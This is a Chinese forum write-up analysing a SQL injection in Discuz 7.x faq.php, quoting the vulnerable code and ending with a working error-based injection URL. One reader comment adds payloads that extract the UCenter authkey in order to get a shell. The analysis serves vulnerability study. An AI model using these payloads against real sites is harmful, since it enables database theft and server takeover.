Discuz7.x faq.php 注入漏洞分析 取值不当造成的安全隐患
刚回家就看到到处都在讨论这个漏洞, 闲的蛋疼就去看了下怎么形成的. 结果不看不知道, 一看就吓我一跳
没有想到在php里面, 如果取值不严谨的话还会有这样一种BUG的情况发生, 其实说来这也不算什么BUG, 只是一个机制问题
在分析前先给大家看一个例子, 在GPC开启的状态下假如有这样一段代码:
<?php
$sql = $_GET['sql'];
echo $sql;
exit;
?>
没有任何问题, 传递过去的单引号被用反斜杠转义了. 但是, 如果是这样写的呢?
<?php
$sql = $_GET['sql'];
echo $sql[0];
exit;
?>
可以看到这个时候我们传递过来的单引号没有了, 反而剩下了一个反斜杠, 到这里算是一取值的小BUG吧
简单的理解的话, 如果你的值为String而非Array的情况下, 在php里若用php的数组取值方式$XX[0], 那么转移过的 \' 将变成 \
也就是说这个时候php会将你的string来进行一个拆解处理
假设$sql=123456 那么$sql[0]就会取出字符串1 $sql[1]就会取出字符串2
而$sql =\' 的话那么自然$sql[0] 就只获取了 \ 反斜杠一个字符串
那么再来看Discuz7.2的漏洞代码: (faq.php文件grouppermission)
} elseif($action == 'grouppermission') {
require_once './include/forum.func.php';
require_once language('misc');
$permlang = $language;
unset($language);
$searchgroupid = isset($searchgroupid) ? intval($searchgroupid) : $groupid;
$groups = $grouplist = array();
$query = $db->query("SELECT groupid, type, grouptitle, radminid FROM {$tablepre}usergroups ORDER BY (creditshigher<>'0' || creditslower<>'0'), creditslower");
$cgdata = $nextgid = '';
while($group = $db->fetch_array($query)) {
$group['type'] = $group['type'] == 'special' && $group['radminid'] ? 'specialadmin' : $group['type'];
$groups[$group['type']][] = array($group['groupid'], $group['grouptitle']);
$grouplist[$group['type']] .= '<option value="'.$group['groupid'].'"'.($searchgroupid == $group['groupid'] ? ' selected="selected"' : '').'>'.$group['grouptitle'].($groupid == $group['groupid'] ? ' ←' : '').'</option>';
if($group['groupid'] == $searchgroupid) {
$cgdata = array($group['type'], count($groups[$group['type']]) - 1, $group['groupid']);
}
}
if($cgdata[0] == 'member') {
$nextgid = $groups[$cgdata[0]][$cgdata[1] + 1][0];
if($cgdata[1] > 0) {
$gids[1] = $groups[$cgdata[0]][$cgdata[1] - 1];
}
$gids[2] = $groups[$cgdata[0]][$cgdata[1]];
if($cgdata[1] < count($groups[$cgdata[0]]) - 1) {
$gids[3] = $groups[$cgdata[0]][$cgdata[1] + 1];
if(count($gids) == 2) {
$gids[4] = $groups[$cgdata[0]][$cgdata[1] + 2];
}
} elseif(count($gids) == 2) {
$gids[0] = $groups[$cgdata[0]][$cgdata[1] - 2];
}
} else {
$gids[1] = $groups[$cgdata[0]][$cgdata[1]];
}
ksort($gids);
$groupids = array();
foreach($gids as $row) {
$groupids[] = $row[0]; //问题就出在这里
}
$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")"); //直接带入
$groups = array();
while($group = $db->fetch_array($query)) {
$group['maxattachsize'] = $group['maxattachsize'] / 1024;
$group['maxsizeperday'] = $group['maxsizeperday'] / 1024;
$group['maxbiosize'] = $group['maxbiosize'] ? $group['maxbiosize'] : 200;
if($searchgroupid == $group['groupid']) {
$currenti = $group['groupid'];
}
$groups[$group['groupid']] = $group;
}
所以$gids的的值我们可以通过数组的方式传递进入程序, 所以这里$gids是可控的~
我们随便传一点东西过去~ 来print_r一下$gids的值:
然后下面有一段foreach
foreach($gids as $row) {
$groupids[] = $row[0]; //问题就出在这里
}
看我们最开始说的, 这种取值方法如果目标非Array的话, 那么单引号就没有了~ 我们来测试下
传递 1.php?gids[t00ls]=%27
然后我们直接print_r处理后的$groupids~
可以看到单引号已经不见了, 只剩下了一个反斜杠, 那么再结合Discuz的implodeids函数一处理~ 漏洞就产生了~
我们直接让程序执行下去看看是什么结果
最后EXP:
faq.php?action=grouppermission&gids[t00ls]=%27&gids[t00ls1][]=,(select 1 from(select count(*),concat((select (select concat(user(),0x7e,0x5430304C5320474F21,0x7e))),floor(rand(0)*2))x from information_schema.tables group by x)a))%23
评论95次
几天没来都曝0day啦.来看看了.DZ的也好久没曝洞了
简直屌爆了。。
谢谢你的分析 很不错
肉丝牛不光会说故事呀~
RICES分析的深入浅出,不懂PHP的我都看的懂一点点了。。。收藏下。。。
这样才能让大家一起来交流学xi到知识, 很烦那些装大牛的故意搞的很复杂很神秘
跟风膜拜大牛~
@lipss select hex(table_name) from information_schema.tables where table_schema=database() limit 0,1 然后自己unhex下了 就能知道前缀了 。。有时候不在一个库里 select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1 看下了..跨库查询就好了faq.php?action=grouppermission&gids='&gids=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,62) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23faq.php?action=grouppermission&gids='&gids=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,63,62) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23爆出key就可以getshell了。。
为什么获取不到members的条数。。。
谢谢分享。。。。
分析的真好 懂了
分析得很不错。 涨知识了。。。。。
分析得很详细,长姿势了。
再来个直接getshell的
楼主大牛又来发好东西拉。
dz 这问题 这两天 闹得 火的,学到了。
分析的很详细
感觉很强悍
这玩意被拿去刷分了。。。。。现在终于看到了个靠谱的分析
RICES分析的深入浅出,不懂PHP的我都看的懂一点点了。。。 收藏下。。。
分析透彻 看懂了 授人鱼不如授人渔 多谢
分析很犀利的~